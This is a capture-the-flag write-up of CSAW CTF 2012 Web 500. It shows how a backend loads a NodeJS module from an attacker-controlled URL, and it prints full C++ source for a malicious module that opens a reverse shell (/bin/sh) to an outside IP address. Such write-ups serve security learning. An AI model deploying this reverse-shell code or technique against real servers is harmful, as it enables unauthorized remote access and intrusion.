CSAW CTF 2012: Web 500 writeup
Web 500 was a webpage with a small UI sending AJAX commands to a backend. These
commands were either some UNIX commands (uname -a
, uptime
, …) or
something that looked like a heartbeat check for an external service.
Our first idea was obviously to inject UNIX commands but the backend seemed to have a very restrictive whitelist, allowing only the commands that were exposed by the UI and nothing else (not even adding options to the commands worked).
The heartbeat check sent a JSON command which looked like this:
{
"message": "extenderp",
"extenderpurl": "http://127.0.0.1:8080/test/extenderptest.node"
}
It turns out we can download this extenderptest.node
file from the web server
using the same URL. It was a simple NodeJS C++ module exporting a single test
function which returned a string. This lead us to think the extenderp
message
actually downloaded the NodeJS module from the URL and executed its test
module. We checked if the extenderpurl
could point to the external world, and
sure enough the web server tried to download a file from our server!
The last step was then to write a NodeJS module which allowed us to get the key
from the server. I choose to implement a fork/connect/dup2/execve exploit in
the test
function:
#include <v8.h>
#include <node.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
using namespace node;
using namespace v8;
extern "C" {
static Handle<Value> test(const Arguments& args)
{
if (!fork())
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in connaddr;
memset(&connaddr, 0, sizeof (connaddr));
connaddr.sin_family = AF_INET;
connaddr.sin_addr.s_addr = inet_addr("176.9.97.190");
connaddr.sin_port = htons(12345);
connect(fd, (sockaddr*)&connaddr, sizeof (connaddr));
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
char* argv[] = { "/bin/sh", NULL };
execve("/bin/sh", argv, NULL);
exit(0);
}
v8::HandleScope scope;
return v8::String::New("Connectback should have happened");
}
static void init(Handle<Object> target)
{
v8::Local<FunctionTemplate> local_function_template = v8::FunctionTemplate::New(test);
target->Set(String::NewSymbol("test"), local_function_template->GetFunction());
}
NODE_MODULE(expl, init);
}
We uploaded that NodeJS module and used the extenderp
command to get it to be
run on the server, which worked very well! We were able to get shell access on
the server and find the key for this challenge.